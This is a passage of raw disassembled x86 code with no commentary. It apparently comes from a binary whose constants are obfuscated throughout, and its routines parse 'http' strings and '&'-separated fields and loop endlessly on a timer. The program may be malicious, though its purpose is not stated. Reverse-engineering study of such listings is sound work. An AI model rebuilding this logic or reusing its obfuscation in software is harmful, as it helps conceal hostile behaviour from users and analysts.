push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_5510EC
dec eax
cmp ebx, eax
jnz loc_444661
lea eax, [ebp+var_28]
push eax
mov eax, [ebp+var_24]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
mov eax, dword_5510E0
sub eax, 6
cmp ebx, eax
jnz loc_444658
mov eax, dword_551158
sub eax, 3
mov [ebp+var_1C], eax
jmp loc_44464C
; ---------------------------------------------------------------------------
loc_443FB7: ; CODE XREF: sub_443F06+74Cj
mov eax, [ebp+var_1C]
mov [ebp+var_10], eax
mov [ebp+var_18], 2
lea eax, [ebp+var_4]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_24]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
mov eax, dword_551158
sub eax, 3
cmp ebx, eax
jnz loc_444649
mov eax, dword_551204
movsx edx, word_5510CC
add eax, edx
sub eax, 3
mov [ebp+var_10044], eax
lea eax, [ebp+var_10044]
push eax
push offset dword_552A48
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_55113C
sub eax, 9
cmp ebx, eax
jnz loc_444615
cmp [ebp+var_10044], 0
jz loc_444615
lea eax, [ebp+var_20]
push eax
mov eax, [ebp+var_10044]
push eax
mov edi, [eax]
call dword ptr [edi+0F8h]
mov ebx, eax
or ebx, ebx
jnz loc_444615
lea eax, [ebp+var_1003F]
push eax
push [ebp+var_20]
call sub_43DBFE
mov eax, dword_55112C
sub eax, 7
push eax
push offset dword_48C200
lea eax, [ebp+var_1003F]
push eax
call sub_43FE22
add esp, 14h
mov edi, dword_55120C
add edi, 0FFFBh
add edi, dword_551238
cmp eax, edi
jz loc_444615
movsx eax, word_5511E8
sub eax, 6
cmp [ebp+arg_8], eax
jnz short loc_4440E0
mov eax, [ebp+var_10044]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
xor eax, eax
inc eax
jmp loc_44466C
; ---------------------------------------------------------------------------
loc_4440E0: ; CODE XREF: sub_443F06+1BBj
movsx eax, word_551194
add eax, dword_5511C8
sub eax, 9
mov [ebp+var_1007C], eax
lea eax, [ebp+var_1007C]
push eax
push offset dword_552A68
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_5510F8
sub eax, 5
cmp ebx, eax
jnz loc_444615
mov [ebp+var_10055], 44h
push offset word_5517E2
call sub_43CAF7
movsx edi, word_551218
movsx esi, word_551128
add edi, esi
sub edi, 4
push edi
push eax
lea edi, [ebp+var_1003F]
push edi
call sub_43FE22
add esp, 10h
movsx esi, word_551190
add esi, 0FFF7h
cmp eax, esi
jz short loc_444170
mov [ebp+var_10055], 50h
loc_444170: ; CODE XREF: sub_443F06+261j
push offset word_5517DA
call sub_43CAF7
movsx edi, word_551208
push edi
push eax
lea edi, [ebp+var_1003F]
push edi
call sub_43FE22
add esp, 10h
mov esi, dword_5510C0
add esi, 0FFFDh
cmp eax, esi
jz short loc_4441A9
mov [ebp+var_10055], 43h
loc_4441A9: ; CODE XREF: sub_443F06+29Aj
push offset word_5517D2
call sub_43CAF7
mov edi, dword_5510EC
add edi, dword_55111C
sub edi, 2
push edi
push eax
lea edi, [ebp+var_1003F]
push edi
call sub_43FE22
add esp, 10h
mov esi, dword_5511B0
sub esi, 3
mov edi, eax
add edi, esi
mov [ebp+var_10064], edi
mov [ebp+var_10050], edi
loc_4441EC: ; CODE XREF: sub_443F06+2FCj
mov eax, [ebp+var_10050]
cmp [ebp+eax+var_1003F], 26h
jz short loc_444204
inc [ebp+var_10050]
jmp short loc_4441EC
; ---------------------------------------------------------------------------
loc_444204: ; CODE XREF: sub_443F06+2F4j
mov eax, [ebp+var_10050]
mov edx, dword_5510A4
sub edx, 7
mov [ebp+eax+var_1003F], dl
mov eax, [ebp+var_10064]
lea eax, [ebp+eax+var_1003F]
push eax
call ds:dword_44901C
mov [ebp+var_10080], eax
push offset byte_5517CB
call sub_43CAF7
movsx edi, word_551244
add edi, dword_551180
sub edi, 6
push edi
push eax
lea edi, [ebp+var_1003F]
push edi
call sub_43FE22
add esp, 14h
mov esi, dword_551170
add esi, dword_551180
dec esi
mov edi, eax
add edi, esi
mov [ebp+var_10064], edi
mov [ebp+var_10050], edi
loc_44427C: ; CODE XREF: sub_443F06+38Cj
mov eax, [ebp+var_10050]
cmp [ebp+eax+var_1003F], 26h
jz short loc_444294
inc [ebp+var_10050]
jmp short loc_44427C
; ---------------------------------------------------------------------------
loc_444294: ; CODE XREF: sub_443F06+384j
mov eax, [ebp+var_10050]
mov edx, dword_551174
sub edx, 7
mov [ebp+eax+var_1003F], dl
mov eax, [ebp+var_10064]
lea eax, [ebp+eax+var_1003F]
push eax
call ds:dword_44901C
pop ecx
mov [ebp+var_1005C], eax
mov eax, dword_551234
add eax, dword_55120C
sub eax, 0Ch
cmp [ebp+var_10080], eax
ja short loc_444355
mov eax, dword_5510BC
mov [ebp+var_10048], eax
jmp short loc_444339
; ---------------------------------------------------------------------------
loc_4442E8: ; CODE XREF: sub_443F06+44Dj
mov edi, [ebp+var_10048]
mov esi, edi
shl esi, 2
movsx edx, word_551128
sub edx, 5
cmp ds:dword_44A0E0[esi], edx
jz short loc_444333
mov edx, [ebp+var_1005C]
cmp ds:dword_449020[esi], edx
jnz short loc_444333
mov dl, ds:byte_44B1B0[edi]
cmp dl, [ebp+var_10055]
jnz short loc_444333
movsx esi, word_551208
dec esi
mov ds:dword_44A0E0[edi*4], esi
loc_444333: ; CODE XREF: sub_443F06+3FEj
; sub_443F06+40Dj ...
inc [ebp+var_10048]
loc_444339: ; CODE XREF: sub_443F06+3E0j
movsx eax, word_5510A8
mov edx, dword_5511FC
lea eax, [eax+edx+3E8h]
cmp [ebp+var_10048], eax
jb short loc_4442E8
loc_444355: ; CODE XREF: sub_443F06+3D3j
call ds:dword_54EA70
mov [ebp+var_10060], eax
mov eax, dword_5511EC
movsx edx, word_5511C4
add eax, edx
sub eax, 0Bh
mov [ebp+var_1004C], eax
jmp short loc_4443E4
; ---------------------------------------------------------------------------
loc_44437A: ; CODE XREF: sub_443F06+4F4j
mov edi, [ebp+var_1004C]
shl edi, 2
movsx esi, word_551164
dec esi
cmp ds:dword_44A0E0[edi], esi
jz short loc_4443DE
mov edi, ds:dword_4CD950[edi]
mov esi, dword_5511DC
add esi, 0EA60h
mov edx, dword_5510C0
inc edx
add edx, dword_5511AC
imul esi, edx
add edi, esi
cmp edi, [ebp+var_10060]
jnb short loc_4443DE
mov edi, [ebp+var_1004C]
movsx esi, word_551194
add esi, dword_5510DC
sub esi, 5
mov ds:dword_44A0E0[edi*4], esi
loc_4443DE: ; CODE XREF: sub_443F06+48Cj
; sub_443F06+4B9j
inc [ebp+var_1004C]
loc_4443E4: ; CODE XREF: sub_443F06+472j
mov eax, dword_5510DC
add eax, 3DFh
add eax, dword_5510D4
cmp [ebp+var_1004C], eax
jb loc_44437A
mov eax, dword_551200
add eax, dword_5511FC
sub eax, 5
mov [ebp+var_10054], eax
jmp short loc_44443A
; ---------------------------------------------------------------------------
loc_444416: ; CODE XREF: sub_443F06+54Dj
mov edi, [ebp+var_10054]
mov esi, dword_55111C
add esi, dword_5511B4
sub esi, 6
cmp ds:dword_44A0E0[edi*4], esi
jz short loc_444455
inc [ebp+var_10054]
loc_44443A: ; CODE XREF: sub_443F06+50Ej
mov eax, dword_55114C
add eax, 3DDh
movsx edx, word_55113C
add eax, edx
cmp [ebp+var_10054], eax
jb short loc_444416
loc_444455: ; CODE XREF: sub_443F06+52Cj
mov edi, [ebp+var_10054]
mov esi, [ebp+var_1005C]
mov ds:dword_449020[edi*4], esi
mov esi, [ebp+arg_0]
mov ds:dword_448060[edi*4], esi
mov eax, edi
mov dl, [ebp+var_10055]
mov ds:byte_44B1B0[eax], dl
movsx eax, word_5511A8
add eax, dword_55119C
sub eax, 4
cmp [ebp+var_10080], eax
jbe loc_44455F
mov esi, dword_5511EC
add esi, 0FFFCh
movsx edx, word_551218
add esi, edx
mov ds:word_48BA10[edi*2], si
mov eax, dword_551154
add eax, dword_551220
sub eax, 0Ah
mov [ebp+var_10088], eax
jmp short loc_444547
; ---------------------------------------------------------------------------
loc_4444D0: ; CODE XREF: sub_443F06+651j
mov edi, [ebp+var_10088]
mov esi, edi
shl esi, 2
mov edx, dword_551154
movsx ecx, word_551190
add edx, ecx
sub edx, 10h
cmp ds:dword_44A0E0[esi], edx
jz short loc_444541
movzx edx, ds:word_48BA10[edi*2]
mov ecx, dword_551178
add ecx, 0FFF6h
movsx eax, word_5511A8
add ecx, eax
cmp edx, ecx
jz short loc_444541
mov edx, [ebp+var_1005C]
cmp ds:dword_449020[esi], edx
jnz short loc_444541
mov dl, ds:byte_44B1B0[edi]
cmp dl, [ebp+var_10055]
jnz short loc_444541
lea edi, ds:48BA10h[edi*2]
inc word ptr [edi]
jmp short loc_44457C
; ---------------------------------------------------------------------------
loc_444541: ; CODE XREF: sub_443F06+5EEj
; sub_443F06+60Fj ...
inc [ebp+var_10088]
loc_444547: ; CODE XREF: sub_443F06+5C8j
mov eax, dword_5510B8
add eax, 3E4h
cmp [ebp+var_10088], eax
jb loc_4444D0
jmp short loc_44457C
; ---------------------------------------------------------------------------
loc_44455F: ; CODE XREF: sub_443F06+591j
mov edi, [ebp+var_10054]
mov esi, dword_5511BC
add esi, dword_551188
sub esi, 0Ah
mov ds:word_48BA10[edi*2], si
loc_44457C: ; CODE XREF: sub_443F06+639j
; sub_443F06+657j
call ds:dword_54EA70
mov edi, [ebp+var_10054]
mov ds:dword_4CD950[edi*4], eax
lea esi, off_5512A8
mov ds:dword_44A0E0[edi*4], esi
mov edi, [ebp+var_10054]
lea edi, ds:44A0E0h[edi*4]
mov [ebp+var_10084], edi
mov eax, edi
push eax
mov esi, [eax]
call dword ptr [esi+4]
mov edi, [ebp+var_10054]
lea edi, ds:44A0E0h[edi*4]
mov [ebp+var_10070], edi
mov [ebp+var_10078], 9
lea esi, [ebp+var_10078]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_1007C]
push edi
mov edi, [edi]
call dword ptr [edi+0A4h]
mov ebx, eax
lea eax, [ebp+var_10078]
push eax
call ds:dword_550044
inc [ebp+var_10054]
mov eax, [ebp+var_1007C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_444615: ; CODE XREF: sub_443F06+138j
; sub_443F06+145j ...
mov eax, dword_5511A0
sub eax, 8
cmp [ebp+var_10044], eax
jz short loc_444631
mov eax, [ebp+var_10044]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_444631: ; CODE XREF: sub_443F06+71Dj
movsx eax, word_551240
sub eax, 8
cmp [ebp+var_4], eax
jz short loc_444649
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_444649: ; CODE XREF: sub_443F06+F4j
; sub_443F06+738j
inc [ebp+var_1C]
loc_44464C: ; CODE XREF: sub_443F06+ACj
mov eax, [ebp+var_28]
cmp [ebp+var_1C], eax
jb loc_443FB7
loc_444658: ; CODE XREF: sub_443F06+9Bj
mov eax, [ebp+var_24]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_444661: ; CODE XREF: sub_443F06+7Cj
mov eax, [ebp+var_2C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
xor eax, eax
loc_44466C: ; CODE XREF: sub_443F06+57j
; sub_443F06+1D5j
pop edi
pop esi
pop ebx
leave
retn
sub_443F06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444671 proc near ; CODE XREF: sub_44493B:loc_44493Ep
var_252 = byte ptr -252h
var_236 = dword ptr -236h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
push edi
lea eax, [ebp+var_114]
push eax
movsx eax, word_5511C4
sub eax, 8
push eax
mov eax, dword_551154
sub eax, 8
push eax
push 21h
movsx eax, word_551164
dec eax
push eax
call ds:dword_48BA00
mov ebx, eax
or ebx, ebx
jnz loc_4447C8
lea eax, [ebp+var_10]
push eax
call ds:dword_4CC430
mov eax, dword_5510DC
movzx edx, [ebp+var_6]
movzx ecx, [ebp+var_8]
mov ebx, dword_5511BC
add ebx, 36h
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_A]
movsx ebx, word_551144
mov esi, dword_5510E8
lea ebx, [ebx+esi+13h]
imul ecx, ebx
movsx ebx, word_551240
add ebx, 34h
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_E]
movsx ebx, word_551118
mov esi, dword_5511D0
lea ebx, [ebx+esi+0Fh]
imul ecx, ebx
mov ebx, dword_55114C
add ebx, 15h
movsx esi, word_551148
add ebx, esi
imul ecx, ebx
movsx ebx, word_55113C
mov esi, dword_551124
lea ebx, [ebx+esi+31h]
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_10]
mov ebx, dword_5510DC
add ebx, 8
imul ecx, ebx
mov ebx, dword_551188
add ebx, 11h
add ebx, dword_551154
imul ecx, ebx
movsx ebx, word_5510F8
lea eax, [ebx+eax+0Fh]
imul ecx, eax
mov eax, dword_5511B8
add eax, 34h
add eax, dword_551150
imul ecx, eax
mov eax, edx
add eax, ecx
mov ds:dword_448030, eax
mov eax, dword_55122C
add eax, dword_551180
sub eax, 6
mov [ebp+var_236], eax
lea esi, [ebp+var_252]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_114]
push edi
call sub_43DE84
add esp, 144h
loc_4447C8: ; CODE XREF: sub_444671+3Cj
pop edi
pop esi
pop ebx
leave
retn
sub_444671 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4447CD proc near ; CODE XREF: sub_43DA83+5Bp
var_1007 = byte ptr -1007h
var_1006 = byte ptr -1006h
var_1002 = byte ptr -1002h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1000h
call sub_4475B4
push ebx
push esi
push edi
push offset byte_5517B9
call sub_43CAF7
pop ecx
mov esi, dword_551228
sub esi, 8
push esi
push eax
movsx esi, word_551210
sub esi, 5
push esi
push [ebp+arg_0]
call ds:dword_50E930
mov edi, eax
mov eax, dword_551204
sub eax, 2
cmp edi, eax
jnz short loc_444818
mov edi, [ebp+arg_0]
loc_444818: ; CODE XREF: sub_4447CD+46j
push offset byte_5517A3
call sub_43CAF7
pop ecx
mov esi, dword_551180
movsx ebx, word_551240
add esi, ebx
sub esi, 8
push esi
push eax
movsx esi, word_5510B4
add esi, dword_551158
sub esi, 8
push esi
push edi
call ds:dword_50E930
mov edi, eax
lea eax, [ebp+var_FFF]
push eax
push 0FFFh
push 0Dh
push edi
call ds:dword_448018
mov eax, dword_551090
add eax, dword_5511B4
cmp [ebp+eax+var_1007], 20h
jnz short loc_44488E
mov eax, dword_55120C
cmp [ebp+eax+var_1002], 20h
jz loc_44491E
loc_44488E: ; CODE XREF: sub_4447CD+ACj
lea ecx, [ebp+var_FFF]
or eax, 0FFFFFFFFh
loc_444897: ; CODE XREF: sub_4447CD+CFj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_444897
mov ebx, dword_5510EC
add ebx, 0Ch
cmp eax, ebx
jb short loc_44491E
mov eax, dword_5510AC
cmp [ebp+eax+var_1006], 68h
jnz short loc_4448C9
mov eax, dword_55124C
cmp [ebp+eax+var_1007], 74h
jz short loc_44491E
loc_4448C9: ; CODE XREF: sub_4447CD+EBj
push offset word_55179E
call sub_43CAF7
movsx esi, word_551164
add esi, 3
push esi
push eax
lea esi, [ebp+var_FFF]
push esi
call sub_43FE22
add esp, 10h
movsx ebx, word_5510A8
add ebx, 0FFFFh
cmp eax, ebx
jnz short loc_44491E
push offset dword_551798
call sub_43CAF7
pop ecx
push eax
mov esi, dword_5511E4
sub esi, 4
push esi
push 0Ch
push edi
call ds:dword_448018
loc_44491E: ; CODE XREF: sub_4447CD+BBj
; sub_4447CD+DCj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4447CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_444923 proc near ; CODE XREF: sub_43E397+4Ap
; sub_43E397+5Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push edi
push [ebp+arg_0]
push dword_551258
call ds:dword_44B1AC
mov edi, eax
pop edi
pop ebp
retn
sub_444923 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_44493B proc near ; DATA XREF: sub_443843+19Ao
push ebp
mov ebp, esp
loc_44493E: ; CODE XREF: sub_44493B+2Dj
call sub_444671
mov eax, dword_551204
add eax, 76h
mov edx, dword_5510E0
add edx, 0EA58h
add edx, dword_551124
imul eax, edx
push eax
call ds:dword_50E924
pop ecx
jmp short loc_44493E
sub_44493B endp
; ---------------------------------------------------------------------------
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44496E proc near ; CODE XREF: sub_43B4E9+1Fp
var_71F16 = byte ptr -71F16h
var_71F14 = dword ptr -71F14h
var_71F10 = dword ptr -71F10h
var_71F0B = byte ptr -71F0Bh
var_70F0C = dword ptr -70F0Ch
var_70F08 = word ptr -70F08h
var_70F00 = dword ptr -70F00h
var_70EF4 = dword ptr -70EF4h
var_70EEF = byte ptr -70EEFh
var_60EF0 = word ptr -60EF0h
var_60EE8 = dword ptr -60EE8h
var_60EDD = byte ptr -60EDDh
var_60EDC = dword ptr -60EDCh
var_60ED8 = dword ptr -60ED8h
var_60ED4 = dword ptr -60ED4h
var_60ED0 = word ptr -60ED0h
var_60EC8 = dword ptr -60EC8h
var_60EC0 = dword ptr -60EC0h
var_60EBC = dword ptr -60EBCh
var_60EB8 = dword ptr -60EB8h
var_60EB4 = dword ptr -60EB4h
var_60EB0 = dword ptr -60EB0h
var_60EAC = dword ptr -60EACh
var_60EA8 = dword ptr -60EA8h
var_60EA4 = dword ptr -60EA4h
var_60E9F = byte ptr -60E9Fh
var_50EAC = byte ptr -50EACh
var_50EA0 = dword ptr -50EA0h
var_50E9B = byte ptr -50E9Bh
var_40EB8 = byte ptr -40EB8h
var_40EB0 = dword ptr -40EB0h
var_40EA8 = word ptr -40EA8h
var_40EA0 = dword ptr -40EA0h
var_40E9C = dword ptr -40E9Ch
var_40E98 = dword ptr -40E98h
var_40E94 = byte ptr -40E94h
var_40E90 = dword ptr -40E90h
var_40E8C = dword ptr -40E8Ch
var_40E88 = dword ptr -40E88h
var_40E84 = dword ptr -40E84h
var_40E80 = byte ptr -40E80h
var_40E78 = dword ptr -40E78h
var_40E70 = dword ptr -40E70h
var_40E6C = dword ptr -40E6Ch
var_40E68 = dword ptr -40E68h
var_40E64 = dword ptr -40E64h
var_40E60 = dword ptr -40E60h
var_40E5C = dword ptr -40E5Ch
var_40E57 = byte ptr -40E57h
var_40E56 = byte ptr -40E56h
var_40E55 = byte ptr -40E55h
var_40E54 = byte ptr -40E54h
var_30E58 = dword ptr -30E58h
var_30E54 = dword ptr -30E54h
var_30E50 = dword ptr -30E50h
var_30E4C = dword ptr -30E4Ch
var_30E48 = dword ptr -30E48h
var_30E44 = dword ptr -30E44h
var_30E3F = byte ptr -30E3Fh
var_30D4A = byte ptr -30D4Ah
var_30D44 = byte ptr -30D44h
var_30D40 = byte ptr -30D40h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 71F14h
call sub_4475B4
push ebx
push esi
push edi
lea eax, [ebp+var_40E80]
push eax
call ds:dword_448048
lea eax, [ebp+var_40E94]
push eax
lea eax, [ebp+var_40E80]
push eax
push 9
mov eax, dword_5511E4
sub eax, 4
push eax
push [ebp+arg_0]
call ds:dword_4CC224
mov ebx, eax
mov eax, dword_551100
add eax, dword_551220
sub eax, 0Bh
cmp ebx, eax
jnz loc_4457C5
mov eax, dword_5510E0
sub eax, 6
mov [ebp+var_40E60], eax
mov ecx, [ebp+var_40E78]
mov [ebp+var_40E64], ecx
lea ecx, [ebp+var_40E60]
push ecx
push offset dword_552AA8
mov eax, [ebp+var_40E64]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_551234
add eax, dword_55114C
sub eax, 0Ah
cmp ebx, eax
jnz loc_4457C5
lea eax, [ebp+var_40E84]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+78h]
mov ebx, eax
mov eax, dword_5510BC
add eax, dword_5511E0
sub eax, 4
cmp ebx, eax
jnz loc_4457B9
lea eax, [ebp+var_40E57]
push eax
push [ebp+var_40E84]
call sub_43DBFE
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_40E98], edi
push [ebp+var_40E84]
call ds:dword_54FF34
cmp [ebp+var_40E57], 68h
jnz short loc_444A8C
cmp [ebp+var_40E56], 74h
jnz short loc_444A8C
cmp [ebp+var_40E55], 74h
jnz short loc_444A8C
cmp [ebp+var_40E54], 70h
jz short loc_444A91
loc_444A8C: ; CODE XREF: sub_44496E+101j
; sub_44496E+10Aj ...
jmp loc_4457B9
; ---------------------------------------------------------------------------
loc_444A91: ; CODE XREF: sub_44496E+11Cj
lea eax, [ebp+var_30E4C]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+94h]
mov ebx, eax
mov eax, dword_551184
add eax, dword_55118C
sub eax, 5
cmp ebx, eax
jz short loc_444ACC
mov eax, dword_551180
add eax, dword_5510BC
mov [ebp+var_30E4C], eax
loc_444ACC: ; CODE XREF: sub_44496E+14Bj
lea eax, [ebp+var_40E68]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+48h]
mov ebx, eax
mov eax, dword_551130
dec eax
cmp ebx, eax
jnz loc_4457B9
lea eax, [ebp+var_40E6C]
push eax
push offset dword_552A28
mov eax, [ebp+var_40E68]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_55110C
sub eax, 2
cmp ebx, eax
jnz loc_4457AD
lea eax, [ebp+var_40E70]
push eax
mov eax, [ebp+var_40E6C]
push eax
mov edi, [eax]
call dword ptr [edi+5Ch]
mov ebx, eax
mov eax, dword_551124
add eax, dword_551090
sub eax, 6
cmp ebx, eax
jnz loc_4457A1
lea eax, [ebp+var_40E90]
push eax
mov eax, [ebp+var_40E70]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
mov eax, dword_5511C0
add eax, dword_551200
sub eax, 6
cmp ebx, eax
jnz loc_445795
mov eax, dword_5511D4
add eax, dword_55123C
sub eax, 7
neg eax
mov [ebp+var_40E5C], eax
push offset dword_551788
call sub_43FEC5
push eax
call ds:dword_44900C
mov [ebp+var_30E44], eax
push offset dword_551774
call sub_43FEC5
push eax
call ds:dword_44900C
mov [ebp+var_30E48], eax
movsx eax, word_55109C
mov edx, dword_55122C
sub edx, 7
mov [ebp+eax+var_30D44], dl
mov eax, dword_5510E0
add eax, dword_551170
mov [ebp+eax+var_30D4A], 44h
mov eax, dword_551248
movsx edx, word_5510CC
add eax, edx
mov [ebp+eax+var_30D44], 7Ch
lea eax, [ebp+var_40E57]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44802C
add esp, 10h
loc_444C0E: ; CODE XREF: sub_44496E+DFBj
movsx eax, word_551194
dec eax
mov [ebp+var_40E8C], eax
mov eax, dword_551114
add eax, dword_551150
sub eax, 5
mov [ebp+var_40E88], eax
movsx eax, word_551164
add eax, dword_5511BC
sub eax, 6
neg eax
cmp [ebp+var_40E5C], eax
jnz short loc_444C91
lea eax, [ebp+var_30E54]
push eax
mov eax, [ebp+var_40E6C]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
movsx eax, word_551210
sub eax, 5
cmp ebx, eax
jnz loc_445757
push offset byte_551763
call sub_43CAF7
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_44802C
add esp, 0Ch
jmp loc_444DAD
; ---------------------------------------------------------------------------
loc_444C91: ; CODE XREF: sub_44496E+2DAj
mov [ebp+var_40EA8], 17h
mov eax, [ebp+var_40E5C]
mov [ebp+var_40EA0], eax
lea eax, [ebp+var_40EB8]
push eax
lea eax, [ebp+var_40EA8]
push eax
mov eax, [ebp+var_40E70]
push eax
mov esi, [eax]
call dword ptr [esi+1Ch]
lea eax, [ebp+var_40E88]
push eax
push offset dword_552A78
push [ebp+var_40EB0]
mov edi, [ebp+var_40EB0]
mov edi, [edi]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_5511F8
add eax, dword_551184
sub eax, 7
cmp ebx, eax
jnz loc_445757
lea eax, [ebp+var_40E8C]
push eax
mov eax, [ebp+var_40E88]
push eax
mov edi, [eax]
call dword ptr [edi+0D0h]
mov ebx, eax
mov eax, dword_551238
add eax, dword_55121C
sub eax, 4
cmp ebx, eax
jz short loc_444D34
mov eax, [ebp+var_40E88]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_445757
; ---------------------------------------------------------------------------
loc_444D34: ; CODE XREF: sub_44496E+3B3j
lea eax, [ebp+var_30E54]
push eax
mov eax, [ebp+var_40E8C]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
mov eax, dword_551100
add eax, dword_551234
sub eax, 11h
cmp ebx, eax
jz short loc_444D78
mov eax, [ebp+var_40E8C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_40E88]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_445757
; ---------------------------------------------------------------------------
loc_444D78: ; CODE XREF: sub_44496E+3EBj
push offset dword_551754
call sub_43CAF7
push [ebp+var_40E5C]
push eax
lea edi, [ebp+var_30E3F]
push edi
call ds:dword_50E928
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44802C
add esp, 18h
loc_444DAD: ; CODE XREF: sub_44496E+31Ej
lea eax, [ebp+var_30E58]
push eax
mov eax, [ebp+var_30E54]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
mov eax, dword_5510C8
add eax, dword_5510A4
sub eax, 8
cmp ebx, eax
jnz loc_445757
movsx eax, word_5510C4
sub eax, 6
mov [ebp+var_30E50], eax
jmp loc_445745
; ---------------------------------------------------------------------------
loc_444DED: ; CODE XREF: sub_44496E+DE3j
mov [ebp+var_60ED0], 2
mov eax, [ebp+var_30E50]
mov [ebp+var_60EC8], eax
movsx eax, word_5511C4
add eax, dword_5511F4
mov edx, dword_55115C
sub edx, 4
mov [ebp+eax+var_50EAC], dl
lea eax, [ebp+var_60EC0]
push eax
lea esi, [ebp+var_60ED0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_60ED0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_30E54]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
movsx eax, word_5510C4
sub eax, 6
cmp ebx, eax
jnz loc_44573F
push offset word_551746
call sub_43CAF7
push [ebp+var_30E50]
push eax
lea edi, [ebp+var_30E3F]
push edi
call ds:dword_50E928
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44802C
add esp, 18h
movsx eax, word_5510CC
add eax, dword_5511E4
sub eax, 5
mov [ebp+var_60ED4], eax
lea eax, [ebp+var_60ED4]
push eax
push offset dword_552A48
mov eax, [ebp+var_60EC0]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_55122C
add eax, dword_551224
sub eax, 8
cmp ebx, eax
jnz loc_4453A0
lea eax, [ebp+var_60ED8]
push eax
mov eax, [ebp+var_60ED4]
push eax
mov edi, [eax]
call dword ptr [edi+0F0h]
mov ebx, eax
mov eax, dword_551154
add eax, dword_551174
sub eax, 0Fh
cmp ebx, eax
jnz loc_445394
lea eax, [ebp+var_60E9F]
push eax
push [ebp+var_60ED8]
call sub_43DBFE
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_60EB8], edi
push [ebp+var_60ED8]
call ds:dword_54FF34
mov eax, dword_551248
sub eax, 4
mov [ebp+var_40E9C], eax
jmp short loc_444F9B
; ---------------------------------------------------------------------------
loc_444F51: ; CODE XREF: sub_44496E+639j
mov eax, [ebp+var_40E9C]
movsx eax, [ebp+eax+var_60E9F]
mov edx, dword_5511AC
add edx, 0Bh
cmp eax, edx
jz short loc_444F7F
mov edx, dword_551134
add edx, 4
add edx, dword_551170
cmp eax, edx
jnz short loc_444F95
loc_444F7F: ; CODE XREF: sub_44496E+5FCj
mov eax, [ebp+var_40E9C]
mov edx, dword_55115C
sub edx, 4
mov [ebp+eax+var_60E9F], dl
loc_444F95: ; CODE XREF: sub_44496E+60Fj
inc [ebp+var_40E9C]
loc_444F9B: ; CODE XREF: sub_44496E+5E1j
mov eax, [ebp+var_60EB8]
cmp [ebp+var_40E9C], eax
jb short loc_444F51
lea eax, [ebp+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call sub_4475D4
movsx eax, word_55109C
add eax, dword_551124
sub eax, 8
mov [ebp+var_40E9C], eax
loc_444FD2: ; CODE XREF: sub_44496E+7A5j
mov eax, [ebp+var_40E9C]
